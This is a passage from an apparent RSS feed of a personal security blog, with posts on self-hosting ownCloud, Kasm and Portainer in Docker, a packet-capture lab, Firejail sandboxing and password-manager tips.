<p>If You Like a User-Friendly, ChatGPT-Style Web Interface for Ollama. Then <a href="https://github.com/open-webui/open-webui">Ollama-WebUI</a> is a place to go, yes you can also self-host ChatGPT like Web UI. You should also check out <strong>Stephen M. Walker II</strong> blog post on <a href="https://klu.ai/glossary/ollama"><em>Ollama: Easily run LLMs locally</em></a>.</p>
<h2>ownCloud: Your Personal Google Drive</h2>
<p>Absolutely! Just bear in mind that ownCloud stores data in Docker volumes, not on the standard file system. ownCloud offers numerous additional benefits, including file encryption (unlike Google Drive), OneDrive-like file sync, and Multi-Factor Authentication. Check out the ownCloud <a href="https://owncloud.com/features/">website</a> for a comprehensive feature list.</p>
<h3>Let's Setup ownCloud</h3>
<p><strong>Step 1:</strong> Create a new project directory.</p>
<pre><code class="language-bash">mkdir owncloud-docker-server
cd owncloud-docker-server
</code></pre>
<p><strong>Step 2:</strong> Create a file <code>docker-compose.yml</code> under project's directory.</p>
<pre><code class="language-yml">version: "3"

volumes:
  files:
    driver: local
  mysql:
    driver: local
  redis:
    driver: local

services:
  owncloud:
    image: owncloud/server:${OWNCLOUD_VERSION}
    container_name: owncloud_server
    restart: always
    ports:
      - ${HTTP_PORT}:8080
    depends_on:
      - mariadb
      - redis
    environment:
      - OWNCLOUD_DOMAIN=${OWNCLOUD_DOMAIN}
      - OWNCLOUD_TRUSTED_DOMAINS=${OWNCLOUD_TRUSTED_DOMAINS}
      - OWNCLOUD_DB_TYPE=mysql
      - OWNCLOUD_DB_NAME=owncloud
      - OWNCLOUD_DB_USERNAME=owncloud
      - OWNCLOUD_DB_PASSWORD=owncloud
      - OWNCLOUD_DB_HOST=mariadb
      - OWNCLOUD_ADMIN_USERNAME=${ADMIN_USERNAME}
      - OWNCLOUD_ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - OWNCLOUD_MYSQL_UTF8MB4=true
      - OWNCLOUD_REDIS_ENABLED=true
      - OWNCLOUD_REDIS_HOST=redis
    healthcheck:
      test: ["CMD", "/usr/bin/healthcheck"]
      interval: 30s
      timeout: 10s
      retries: 5
    volumes:
      - files:/mnt/data

  mariadb:
    image: mariadb:10.11 # minimum required ownCloud version is 10.9
    container_name: owncloud_mariadb
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=owncloud
      - MYSQL_USER=owncloud
      - MYSQL_PASSWORD=owncloud
      - MYSQL_DATABASE=owncloud
      - MARIADB_AUTO_UPGRADE=1
    command: ["--max-allowed-packet=128M", "--innodb-log-file-size=64M"]
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-u", "root", "--password=owncloud"]
      interval: 10s
      timeout: 5s
      retries: 5
    volumes:
      - mysql:/var/lib/mysql

  redis:
    image: redis:6
    container_name: owncloud_redis
    restart: always
    command: ["--databases", "1"]
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 10s
      timeout: 5s
      retries: 5
    volumes:
      - redis:/data
</code></pre>
<p><strong>Step 3:</strong> Create a <code>.env</code> configuration file, which contains the required configuration settings.</p>
<pre><code class="language-bash">cat &lt;&lt; EOF &gt; .env
OWNCLOUD_VERSION=10.14
OWNCLOUD_DOMAIN=localhost:8080
OWNCLOUD_TRUSTED_DOMAINS=localhost
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
HTTP_PORT=8080
EOF
</code></pre>
<p><strong>Step 4:</strong> Edit <code>.env</code> and <code>docker-compose.yml</code> as you wise like passwords of admin &amp; mysql account or port number etc.</p>
<p><strong>Step 5:</strong> Then build and start the container.</p>
<pre><code class="language-bash">docker-compose up -d
</code></pre>
<p><strong>Step 6:</strong> Visit <code>http://localhost:8080</code> in browser and start using your ownCloud.</p>
<p>For more information about OwnCloud, visit the <a href="https://doc.owncloud.com/server/next/admin_manual/installation/docker/">OwnCloud Deployment Documentation</a>. If you're planning to use OwnCloud seriously, I highly recommend that because what I've showcased is merely a playground setup.</p>
<h2>Kasm Workspaces: Disposable Virtual Machines</h2>
<p>If privacy and security are top priorities, then Kasm Workspaces is invaluable. It allows you to spin up an entire operating system within seconds. Some of you may be familiar with services that enable users to create disposable virtual machines on the cloud. Once you're finished with them, simply delete them.</p>
<h3>Especially Helpful</h3>
<ol>
<li><p>Running untrusted files securely.</p>
</li>
<li><p>Testing software on various Linux variants safely.</p>
</li>
<li><p>Avoiding fingerprinting on the internet effectively.</p>
</li>
</ol>
<p><a class="embed-card" href="https://youtu.be/1mb835Qsx-8?si=J1TID4a0cgf_vohF&amp;t=5">https://youtu.be/1mb835Qsx-8?si=J1TID4a0cgf_vohF&amp;t=5</a></p>

<h3>Running Kali-Linux w/ GUI</h3>
<pre><code class="language-bash">sudo docker run --rm -it --shm-size=512m -p 6901:6901 -e VNC_PW=password kasmweb/core-kali-rolling:1.14.0
</code></pre>
<p>Above command will start a server on <code>0.0.0.0:6901</code>, now you can access Kali-Linux from browser via <code>https://0.0.0.0:6901</code>.</p>
<p><strong>Default Credentials</strong></p>
<ul>
<li><p>Username: kasm_user</p>
</li>
<li><p>Password: password</p>
</li>
</ul>
<p>You can find more images under <a href="https://hub.docker.com/u/kasmweb">Kasm Technologies</a> official DockerHub account.</p>
<div>
<div>🔻</div>
<div>Kasm container at least require 10gb of storage.</div>
</div>

<h1>Practical Lab: Understanding Network Protocols with Docker</h1>
<p>Docker can be leveraged to clarify IT concepts such as networking. If you're interested in understanding "how do network protocols work?" then the combination of Docker, Scapy, and Wireshark is the optimal approach. Sometimes, I'm inclined to think that teaching network protocols without these tools should be prohibited.</p>
<p>Let's illustrate with an example. Suppose I want to understand "how would a machine react if I send random SYN/ACK packets?"</p>
<p><strong>Step 1:</strong> Create two docker containers <code>attacker</code> and <code>victim</code> under same network.</p>
<pre><code class="language-bash">docker network create mynetwork &amp;&amp; \
docker run -d --network mynetwork --name attacker kalilinux/kali-rolling &amp;&amp; \
docker run -d --network mynetwork --name victim kalilinux/kali-rolling
</code></pre>
<p><strong>Step 2:</strong> Install <code>scapy</code> in attacker's machine. Write a script to send <em>SYN/ACK</em> packets (just google).</p>
<p>Scapy is a robust packet manipulation tool that enables users to craft, manipulate, send, and capture network packets across various layers of the OSI model. With Scapy, you can generate customized packets for network testing, analysis, and penetration testing.</p>
<p><strong>Step 3:</strong> Capture traffic using Wireshark on the <code>mynetwork</code> interface. This will help filter out any unnecessary packets in the network.</p>
<h1>Portainer: Ultimate Toolbox for Container Management</h1>
<p>Portainer is an open-source toolset that enables users to effortlessly build and manage containers across Docker, Docker Swarm, Kubernetes, and Azure ACI. It doesn't take long to realize that handling numerous containers can be daunting, but Portainer's Web UI streamlines the process. Users can easily manage containers, stacks, networks, and more with just a few clicks.</p>
<p><strong>Step 1:</strong> First, create the volume for Portainer to store its database.</p>
<pre><code class="language-bash">docker volume create portainer_data
</code></pre>
<p><strong>Step 2:</strong> Pull and install the Portainer Server container.</p>
<pre><code class="language-bash">docker run -d -p 8000:8000 -p 9443:9443 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest
</code></pre>
<p><strong>Step 3:</strong> Visit <code>http://localhost:9443</code> in browser and start using it.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714882444532/0c0e65b5-ffbe-4f01-9be6-9915429559ce.png" alt="" style="display:block;margin:0 auto" />

<div>
<div>💡</div>
<div>After the initial setup, such as creating an admin account, restart Portainer if it doesn't function correctly.</div>
</div>

<h1>Conclusion</h1>
<p>Docker is an invaluable skill set to possess, especially for distributing software packages. The software we discussed can be installed directly into your system, but the effort and maintenance required are significantly higher in comparison to Docker.</p>
<p>Personally, I use all the tools discussed above as my daily drivers, and of course, there are many other amazing things you can do with Docker. Just experiment, like learning about network protocols. If you have any amazing software, experiments, or anything else to share, feel free to do so in the comment section.</p>
<p>That's It For Today, See Yaa!</p>
]]></content:encoded></item><item><title><![CDATA[Linux Firejail: Securely Throw Untrusted Applications Behind Bars]]></title><description><![CDATA[Sandboxing or Containerization are always considered the ultimate weapons for high Privacy and Security threat models. The most renowned privacy and security tools like Whonix, Qubes OS, Tail and Dock]]></description><link>https://flarexes.com/linux-firejail-securely-throw-untrusted-applications-behind-bars</link><guid isPermaLink="true">https://flarexes.com/linux-firejail-securely-throw-untrusted-applications-behind-bars</guid><category><![CDATA[firejail]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Security]]></category><category><![CDATA[Sandbox]]></category><category><![CDATA[privacy]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sat, 16 Dec 2023 07:01:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1702727800063/2459b923-495e-4102-9fb5-af878b182d40.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Sandboxing or Containerization are always considered the ultimate weapons for high Privacy and Security threat models. The most renowned privacy and security tools like <strong>Whonix, Qubes OS, Tail</strong> and <strong>Docker</strong> are focused on Sandboxing one way or another. What they actually do is effectively isolating various components of applications like network interfaces and file system to prevent unwanted connections.</p>
<p>To get started, let's delve into how <strong>Firejail</strong> operates and then explore how seamlessly you can incorporate it into your security toolkit.</p>
<h1>What is Sandboxing?</h1>
<p>Sandboxing is a security mechanism for running programs and processes inside an isolated environment with limited access to resources. What happens in the Sandbox stays in the Sandbox; I mean, it won't affect your host machine, just like virtual machines. The concept of sandboxing is not new; many of us unknowingly engage with sandbox-enabled programs daily. Web browsers, Snap or Flatpak packages, and Electron-based software like Discord and VSCode use sandboxing for security purposes.</p>
<p>LiveOverflow has an insightful video explaining Browser Sandboxing.</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=StQ_6juJlZY">https://www.youtube.com/watch?v=StQ_6juJlZY</a></p>

<h1>Why use Firejail?</h1>
<p>The most secure way to live in a virtual world is to live in a virtual machine. Of course, That's not practical for everyday users, and that's why we have tools like Qubes and Whonix. But to be honest, they can also be somewhat daunting for the average user.</p>
<p>And most of us don't require these high threat model tools. We aren't hiding from Governments or intelligence agencies like Edward Snowden. Instead, we're concerned about more common scenarios. Picture your friend who recently discovered malware and unknowingly sent one within a PDF. In these situations, what we need is a middle ground like <strong>Firejail</strong> that strikes a balance between security and usability. A solution that seamlessly integrates into our everyday work environment.</p>
<h2>How do I use Firejail?</h2>
<p>So let's be real, I don't use Firejail for every single application. I mainly leverage Firejail for two specific purposes:</p>
<ol>
<li><p>For Viewing Documents or PDFs</p>
</li>
<li><p>Running Untrusted Applications, Especially GitHub Packages</p>
</li>
</ol>
<h2>Why not AppArmor, Snap or Flatpak?</h2>
<h3>AppArmor</h3>
<ol>
<li><p>Unlike Firejail, AppArmor demands some initial configurations.</p>
</li>
<li><p>However, AppArmor stands as a viable alternative to Firejail, and we can delve into its merits—feel free to comment below if interested.</p>
</li>
</ol>
<h3>Snaps &amp; Flatpak</h3>
<ol>
<li><p>Both Offer Limited Control Over Applications.</p>
</li>
<li><p>While not every application comes with a Snap or Flatpak package, Firejail outshines by running any application in a sandbox, irrespective of packaging.</p>
</li>
<li><p>Flatpak, due to package size concerns, isn't my preference.</p>
</li>
<li><p>Unlike Firejail, Snaps &amp; Flatpak lack internal access to the sandbox.</p>
</li>
<li><p>Simplicity is on the side of Snaps &amp; Flatpak, making them more beginner-friendly.</p>
</li>
</ol>
<p>Someone on internet said <strong>"Snaps and Flatpaks ensure security based on developers' intentions, whereas Firejail is an additional layer you can incorporate into an application for enhanced security"</strong>. Notably, Flatpak can be fine-tuned with <a href="https://flathub.org/apps/com.github.tchx84.Flatseal">Flatseal</a>.</p>
<h1>How does Firejail work?</h1>
<p>Firejail is a command-line utility that uses security profiles. It comes bundled with thousands of well-known software profiles, giving Firejail a significant advantage over other similar tools. These profiles are located under <code>/etc/firejail</code>, contain crucial specifications dictating an application's behavior. For instance, my PDF viewer is confined to the Downloads directory, with no internet access. Moreover, Firejail extends its functionality to custom profiles, enabling users to run lesser-known software within a protected environment.</p>
<p>Running applications under the Firejail Sandbox is quite easy; just prefix your command with "firejail". E.g.</p>
<pre><code class="language-plaintext">$ firejail firefox                       # starting Mozilla Firefox
$ firejail vlc                           # starting VideoLAN Client
</code></pre>
<p>The underlying technology that powers Firejail and other similar programs like Docker, Flatpak, Snaps is <a href="https://lwn.net/Articles/531114/"><strong>Linux Namespaces</strong></a>.</p>
<p>LiveOverflow also has an amazing video about Namespaces, definitely worth checking out.</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=-YnMr1lj4Z8">https://www.youtube.com/watch?v=-YnMr1lj4Z8</a></p>

<h1>Firejail Basics and Workflow</h1>
<h2>Installation</h2>
<p>Firejail can be conveniently retrieved from the official Linux repository using your distro's package manager.</p>
<p><strong>Arch Linux</strong></p>
<pre><code class="language-bash">sudo pacman -S firejail
</code></pre>
<p><strong>Debian/Ubuntu Linux</strong></p>
<pre><code class="language-bash">sudo apt install firejail
</code></pre>
<h2>Sandboxing Firefox</h2>
<p>The following command will open Firefox in a sandbox environment with a specific set of requirements.</p>
<pre><code class="language-bash">firejail --x11 --private --net=eth0 --dns=1.1.1.1 --dns=9.9.9.9 --hosts-file=~/adblock firefox --no-remote
</code></pre>
<ul>
<li><p>Default Setup</p>
<ul>
<li><code>--no-remote</code> -&gt; Prevents opening new tabs or windows attached to the existing Firefox process.</li>
</ul>
</li>
<li><p>Private Browser Setup</p>
<ul>
<li><p><code>--private</code> -&gt; Initiates Firefox with an empty home directory, resulting in a factory default browser configuration.</p>
</li>
<li><p><code>--dns=1.1.1.1</code> -&gt; Specifies a custom DNS configuration for your sandbox.</p>
</li>
</ul>
</li>
<li><p>Network Setup</p>
<ul>
<li><p><code>--net=eth0</code> -&gt; Assigns a random, unused IP address from the specified interface.</p>
</li>
<li><p><code>--hosts-file=~/adblock</code> -&gt; Adds a hosts file implementing an adblocker.</p>
</li>
</ul>
</li>
<li><p>X11 Sandbox</p>
<ul>
<li><code>--x11</code> -&gt; Prevents X11 keyboard loggers and screenshot utilities from accessing the X11 server.</li>
</ul>
</li>
</ul>
<p>By default, Firejail assigns random IP and MAC addresses to your sandbox, disappearing once the sandbox is closed. Firejail can run multiple applications in parallel, each with a different IP address.</p>
<h2>Sandbox Internal Access</h2>
<p>Firejail also provides a way to verify that Firefox is indeed running inside a sandbox.</p>
<p>List all running sandboxes:</p>
<pre><code class="language-bash">   ~ firejail --list
26893:flarexes::firejail --private=/home/radowoo/Downloads --dns=9.9.9.9 firefox --no-remote
</code></pre>
<p>Attach to the Firefox sandbox using its ID.</p>
<pre><code class="language-bash">   ~ firejail --join=26893
</code></pre>
<p>This allows you to initiate a shell within the Firefox sandbox.</p>
<h2>Firejail Profiles</h2>
<p>Profiles offer a streamlined approach to lengthy Firejail commands. For instance, in the case of Firefox, Firejail already includes a dedicated profile. As highlighted earlier, Firejail is equipped with an extensive library of pre-configured profiles for well-known applications.</p>
<p>Executing the Firefox command with its profile is straightforward:</p>
<pre><code class="language-bash">   ~ firejail --profile=firefox firefox
</code></pre>
<p>Simple enough right? All the pre-bundled profiles can be found at <code>/etc/firejail</code>, If you ever find the need to tailor your security measures.</p>
<h3>Custom Profiles</h3>
<p>When Firejail lacks an application-specific profile, take matters into your own hands by creating one. For a more organized workflow, it's advisable to store custom profiles under <code>~/.config/firejail</code> instead of the present working directory.</p>
<h4>Step 1: Build a Custom Profile</h4>
<p>Launch a terminal and execute the following command. This builds a custom profile named <code>my-app.profile</code> for the application <code>my-app</code>:</p>
<pre><code class="language-bash">   ~ firejail --build=my-app.profile my-app
</code></pre>
<p>This command runs my-app in a sandboxed environment, recording the system calls it makes.</p>
<h4>Step 2: Edit and Refine the Custom Profile</h4>
<p>Refining your profile involves the following steps:</p>
<ol>
<li><p>Open the <code>my-app.profile</code> file using a text editor.</p>
</li>
<li><p>Compare the generated profile with existing similar profiles in the <code>/etc/firejail</code> directory.</p>
</li>
<li><p>Select the necessary features, referring to <a href="https://man.archlinux.org/man/firejail-profile.5">Arch Docs</a>.</p>
</li>
</ol>
<h4>Step 3: Launch the Application with the Custom Profile</h4>
<p>After refining the custom profile, launch the application using it with the following command:</p>
<pre><code class="language-bash">   ~ firejail --profile=~/.config/firejail/my-app.profile my-app
</code></pre>
<p>This command initiates the application <code>my-app</code> within a sandboxed environment, harnessing the tailored security measures you've crafted.</p>
<h2>Desktop Integration with <em><strong>Firecfg</strong></em></h2>
<p>Firecfg is command-line utility comes pre-packaged with firejail. It allow users to streamline the process of desktop integration.</p>
<p>Below command will create symbolic link of every possible application installed on your system. These symbolic links will allow the applications to start under Firejail automatically, and you can also launch apps from menu without any further modification.</p>
<pre><code class="language-bash">sudo firecfg
</code></pre>
<p>List all firejail symbolic links.</p>
<pre><code class="language-bash">firecfg --list
</code></pre>
<p>Remove all firejail symbolic links.</p>
<pre><code class="language-bash">sudo firecfg --clean
</code></pre>
<p>It's important to note that by default <strong>Firecfg</strong> will use default profiles relative to the applications.</p>
<h1>Conclusion</h1>
<p>In a world full of digital risks, securing our online activities is crucial. Firejail stands out as a flexible solution, offering a middle ground between high-security options like Qubes or Whonix and the practical needs of everyday use cases.</p>
<p>With a simple prefix to commands, users can launch applications in a secure sandbox effortlessly. Whether it's browsing documents, viewing PDFs, or cautiously running applications from untrusted sources.</p>
<p>In essence, Firejail, a Linux command-line utility focused on enhancing privacy and security through sandboxing. We have explored how Firejail operates using security profiles, its installation process, and examples of sandboxing applications like Firefox. Whether you desire a straightforward approach or a more sophisticated, Firejail can do both.</p>
<h3>Resources</h3>
<p>If You Wanna Study Firejail In-Depth Check Resources Below:</p>
<ol>
<li><p>Fixing X11 Vulnerability:</p>
<ul>
<li><p><a href="https://firejail.wordpress.com/documentation-2/x11-guide/">X11 Guide</a></p>
</li>
<li><p><a href="https://wiki.gentoo.org/wiki/User:Sakaki/Sakaki%27s_EFI_Install_Guide/Sandboxing_the_Firefox_Browser_with_Firejail">Probably the best X11 sandboxing guide out there!</a></p>
</li>
</ul>
</li>
<li><p>Sandboxing AppImage:</p>
<ul>
<li><a href="https://firejail.wordpress.com/documentation-2/appimage-support/">AppImage Support</a></li>
</ul>
</li>
<li><p>Profiles:</p>
<ul>
<li><p><a href="https://firejail.wordpress.com/documentation-2/building-custom-profiles/">Building Custom Profiles</a></p>
</li>
<li><p><a href="https://man.archlinux.org/man/firejail-profile.5.en">All Profiles Feature</a></p>
</li>
</ul>
</li>
<li><p>Firejail Guide On Linux Capabilities:</p>
<ul>
<li><a href="https://firejail.wordpress.com/documentation-2/linux-capabilities-guide/">Linux Capabilities Guide</a></li>
</ul>
</li>
<li><p>Video Guides:</p>
<ul>
<li><a href="https://odysee.com/@netblue30:9?view=content">Firejail Video Guides</a></li>
</ul>
</li>
</ol>
<hr />
<p>Thanks For Reading, Bye 👋</p>
]]></content:encoded></item><item><title><![CDATA[Make the Most of Your Password Manager: Tips, Tricks, and Hidden Features]]></title><description><![CDATA[Password manager is a tool without which nobody can imagine their life in IT. It makes us more secure, private, and productive. Even being such a useful piece of software, we may not be using it to its full potential. And that's what we'll unveil in ...]]></description><link>https://flarexes.com/make-the-most-of-your-password-manager-tips-tricks-and-hidden-features</link><guid isPermaLink="true">https://flarexes.com/make-the-most-of-your-password-manager-tips-tricks-and-hidden-features</guid><category><![CDATA[passwords]]></category><category><![CDATA[Security]]></category><category><![CDATA[Productivity]]></category><category><![CDATA[privacy]]></category><category><![CDATA[tips]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Mon, 28 Aug 2023 13:07:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1698283405094/b9b4e132-adc7-4eba-9b2c-fb4da47cc79a.gif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Password manager is a tool without which nobody can imagine their life in IT. It makes us more secure, private, and productive. Even being such a useful piece of software, we may not be using it to its full potential. And that's what we'll unveil in this blog post. We will first explore a few nitty-gritty tips and tricks that will make you more private and productive. Then in the second half, I will tell you about some features of password managers that you might be not aware of. And, I am sure you will definitely find something new to improve in your password manager. As you read, just keep a note of tips and features in your task manager or notepad, so you do not forget them.</p>
<h2 id="heading-double-blind-password-aka-horcruxing">Double Blind Password aka Horcruxing</h2>
<p>While threat modeling for security and privacy, it is always best to assume the worst case. In the case of a password manager, there could be three worst-case scenarios on which we don't have any control. First, what if a threat actor gets access to your password manager? Secondly, what if the password manager itself goes rogue? And the last one, what if there is a zero-day in the password manager? So, To prevent all these kinds of attack vectors, we use Double-Blind Password.</p>
<p>In Horcruxing, while creating or updating an account password, instead of solely relying on a password generated by an automated password generator, we take a layered approach: begin by generating a random password utilizing a password manager. Then append a passphrase to the generated password. The outcome? Your vault retains only the password manager's generated portion, while you remember the second half in brain memory.</p>
<p>For instance, I am creating a GitHub account.</p>
<ol>
<li><p><strong>Random Password Generation</strong>: Initiate account creation with a randomly generated password from your trusted manager, e.g., <code>e95hJ[2Bif$N7B</code>.</p>
</li>
<li><p><strong>Adding a Personal Passphrase</strong>: Strengthen the password by appending a personal passphrase—like <code>vampires-exists</code>. The combined result is <code>e95hJ[2Bif$N7Bvampires-exists</code>.</p>
<p> <code>e95hJ[2Bif$N7B</code> + <code>vampires-exists</code> = <code>e95hJ[2Bif$N7Bvampires-exists</code></p>
</li>
<li><p><strong>Split and Store</strong>: Store only the first half in the password manager, ensuring the second half remains memorized by you.</p>
</li>
</ol>
<p>This trick is quite famous. Privacy and Security professionals use it when they do not want to put 100% trust in password managers, but at the same time, they are also avoiding many worst-case scenarios.</p>
<h3 id="heading-mistakes-to-avoid">Mistakes to Avoid</h3>
<ol>
<li><p>Do not overcomplicate stuff just use one or two secret phrases for every account.</p>
</li>
<li><p>Do not take the overhead of placing the crux in between. Just paste it at the rightmost or leftmost of the base password.</p>
</li>
<li><p>Do not select too long, too short or extremely random string as a secret phrase because you will have to remember that.</p>
</li>
<li><p>Use a simple, uncommon, 8-12 characters long passphrase.</p>
</li>
</ol>
<h2 id="heading-manage-non-deletable-accounts">Manage Non-Deletable Accounts</h2>
<p>If you are like me, who has hundreds of passwords in the vault, then you might have stumbled upon an online service that does not allow account deletion. They tend to stay there forever, and you forget about them. This is definitely a real issue 'cause there is no proper solution around this situation. And, just leaving information on the internet is not a good practice because these online services will keep sharing your data with 3'rd parties, and sometimes this data includes our financial information like credit card details. That's why it is crucial to remove and reduce your online footprints. There are a few ways to minimize this factor if not mitigate it completely.</p>
<p><strong>Step 1</strong>: Forge as much information as you can. Change name, address, username, e-mail etc.</p>
<p><strong>Step 2</strong>: Create a separate folder as <code>non-deletable</code> in your password manager. That will hold the credentials of these online non-deletable accounts.</p>
<p><strong>Step 3</strong>: Keep track of these accounts periodically e.g. 3 or 6 months. So in future, if any of these services add the deletion functionality, you can delete them, and then you should delete the corresponding entry from the password manager.</p>
<p><strong>Step 4</strong>: A foolish advice, Why don't you just check if any online service allows deletion before signup? Do I do it? No. Should you do it? Yes.</p>
<h2 id="heading-handle-different-types-of-credentials">Handle Different Types of Credentials</h2>
<p>Password managers are not just good at storing passwords and usernames. They are also efficient at handling complex authentication mechanisms. For instance, S3 bucket Passphrase, API keys or Secrets; all need to be stored somewhere securely. That's the reason there is a redundant extra field named <code>Notes</code> or <code>Description</code>. Ya! This is my favorite place to store extra credentials associated with a particular account.</p>
<p>I also use this <code>Notes</code> field for other purposes, like for my SimpleLogin account. I save three or four just in case of temporary e-mail addresses provided by SimpleLogin, so I do not have to log in to SimpleLogin again and again. Convenient Nah.</p>
<p>Few more uses where the <code>Notes</code> feature can be quite helpful, like:</p>
<ul>
<li><p>SSH keys</p>
</li>
<li><p>API Tokens</p>
</li>
<li><p>License Keys</p>
</li>
<li><p>Security Questions and Answers</p>
</li>
</ul>
<h3 id="heading-should-you-store-recovery-phases-in-the-notes-field">Should you store <em>recovery phases</em> in the Notes field?</h3>
<p>Storing account recovery passphrases and recovery codes in the password manager can come quite handy when you cannot access your OTP or you completely lose access to your account. And, There is no issue with that if you trust your password manager. But I do not. I blindly do not trust any online password manager because in the end, nothing is 100% secure, and they could be vulnerable to zero-day exploits. Also, It breaks the Trust boundary on which I rely. I don't trust Password managers completely, but I still use and recommend them because I rely on <strong>2FA (2-Factor Authentication)</strong>. So, if in the rarest of the rarest cases, my Password manager goes rogue, they still cannot access my accounts because they will not have my 2FA code to authenticate.</p>
<p>And that's the gimmick If you store <em>recovery passphrase</em> and <em>recovery codes</em> in a Password manager, you're unknowingly but willingly giving full access account to your Password manager. In only case, I would do this, when I am using an offline password manager. So, there are two solutions that I can think of:</p>
<ol>
<li><p>Paste all the recovery passphrases and recovery codes of every single account in a text file then encrypt it, and now you can store it in the Password Manager as an attachment.</p>
</li>
<li><p>Save them offline and have backups at multiple <strong>SECURE</strong> places.</p>
</li>
</ol>
<blockquote>
<p><strong>Pro Tip</strong>: I usually store recovery codes in KeePassXC (an offline password manager). Because it encrypts them with AES-256. And then I store the KeePassXC database somewhere at a secure location.</p>
</blockquote>
<h1 id="heading-special-amp-powerful-features-of-password-manager">Special &amp; Powerful Features Of Password Manager</h1>
<p>Now, we are done with the personal tips and tricks section. So, it is time to focus on Features that you are not using or aware of. And some features can take your productivity to 10X.</p>
<h2 id="heading-two-factor-authentication-integration-totp">Two-Factor Authentication Integration (TOTP)</h2>
<p>Yes, Many password managers allow 2FA functionality as well, which makes a login process more convenient. Password manager will also autofill the OTP that you usually copy-paste from an authenticator app. This functionality will not work if you use SMS-based OTP. If you do not know the TOTP setup process, then you can follow articles one or two. If you are using a different password manager, then do not worry the process would be the same for them too.</p>
<ol>
<li><p><a target="_blank" href="https://bitwarden.com/help/authenticator-keys/">Bitwarden Authenticator (TOTP)</a></p>
</li>
<li><p><a target="_blank" href="https://proton.me/support/pass-2fa">How to use 2FA in Proton Pass</a></p>
</li>
</ol>
<p>But I, security and privacy experts do not recommend this. , the answer I already explained above is that by handing over username, password and OTP, you are putting 100% trust in your password manager. And, If you do trust your password manager, then what would you do in a situation where you forget to lock the password manager and a threat actor gets access to all your accounts, including their OTPs.</p>
<p>The only factor that gives me the confidence to share my passwords with some companies is OTP, and by doing this, I will lose that confidence. Again, On one condition, I would prefer this feature in the case of offline password managers like KeePassXC.</p>
<h2 id="heading-custom-fields">Custom Fields</h2>
<p>The Custom field is one of the most ignored features. In most cases, Username, Password and URL fields are enough, but in some situations, you might require an extra field that you can autofill. For example, In ProtonMail, you can set two passwords, one for login purposes and the second one to decrypt emails. In this, if you want to store the second password in the Password Manager, then you will require an extra custom field. You can use Note sections too, but then you will miss the autofill functionality.</p>
<p>Few more use cases where the <code>Custom Field</code> feature can come in handy like:</p>
<ul>
<li><p>API Tokens</p>
</li>
<li><p>License Keys</p>
</li>
</ul>
<p>The general rule of thumb is if you require an autofill field, and you use it multiple times you should use <code>Custom fields</code> otherwise for long strings or input fields with multiple options stick with the <code>Notes</code> section.</p>
<blockquote>
<p><strong>Pro Tip</strong>: It is crucial to verify that your Password Manager encrypts all fields including the custom field and the same goes for Note's sections.</p>
</blockquote>
<h2 id="heading-e-mail-aliases">E-Mail Aliases</h2>
<p>If you are not aware of this feature, then you're missing a lot not just in Privacy and Security but in terms of fighting against spammers. Before I explain this, I want you to know e-mail aliasing or e-mail relaying is an external feature and can be used standalone without any password manager. Now, let's talk about what the hack is this E-Mail Relaying. Simply put, It's all about creating temporary or fake e-mail addresses but in a much more effective way. I will explain this with the example of SimpleLogin, an e-mail relay or aliases provider.</p>
<p>So, When you sign up for a SimpleLogin account, they will provide you with 10 e-mail addresses for free. You can delete or create new e-mail aliases with just one click. The benefit you get is that whenever somebody sends you mail on any of the 10 e-mails that you have created on the SimpleLogin account will be forwarded to your original e-mail account that you signed up with. So, you don't have to use your real e-mail address, and this is especially helpful for newsletters or signing up different accounts with different e-mails, but they all will be forwarded to real addresses. Just like illustrated in the below diagram from SimpleLogin.</p>
<p><img src="https://simplelogin.io/images/hero.svg" alt="SimpleLogin E-Mail Relay Illustration SVG" /></p>
<p>Now, Imagine this feature is integrated directly into the password manager. Sign up anywhere without worrying about potential E-Mail leaks.</p>
<h2 id="heading-emergency-access-prepare-password-manager-for-dead">Emergency Access, Prepare Password Manager For Dead</h2>
<p>Who will cry when you die? The ones who will not have access to your password manager because that is where you store online banking, social media, and all other credentials. That's why we need to prepare our password managers for the dead or for any emergency situation where you can't access it, but your family members should be able to. Different providers use different approaches to give emergency access to the vault to your trusted individual. It is also possible to share a vault with your family members where you keep credentials that are common to each other. So, If you trust them, you can also store banking details there, but this model is not suitable for businesses and in cases where you require full access to the vault e.g. social media accounts. In most password managers, this is a Premium feature.</p>
<h2 id="heading-honorable-mentions">Honorable Mentions</h2>
<p>I didn't cover a few niches, but they are worth mentioning here. I didn't include these features because most people know they exist, but they don't use them often because they are hidden behind paywalls.</p>
<h3 id="heading-password-auditing">Password Auditing</h3>
<p>This is one of the most marketed features of many password managers for selling premium. This feature helps you to stay aware if your credentials have been leaked in a data breach. I never felt I needed it because I use a strong and lengthy password. But this could be a good feature from the security standpoint of view for an enterprise to audit password policies. One thing to keep in mind is that If you're purchasing a password manager for this particular purpose, then always verify that they also protect against <em>Darkweb leaks</em> and other types of credentials like <em>Credit Card</em>, <em>E-mail</em> etc. Because some organization is charging you for just password leaks then it's just useless. You can do it for free on <a target="_blank" href="https://haveibeenpwned.com/">HaveIBeenPwned</a>, and if you aren't comfortable pasting your credential on a webpage, then you can use a utility <a target="_blank" href="https://github.com/FlareXes/check-breach/">Check-Breach</a> that I wrote. <a target="_blank" href="https://github.com/FlareXes/check-breach/">Check-Breach</a> checks for password leaks on HaveIBeenPwned Database without sending original password and hash digest, it achieves this via K-anonymity method. Few password managers also provide these features for free like Bitwarden.</p>
<h3 id="heading-encrypted-file-storage">Encrypted File Storage</h3>
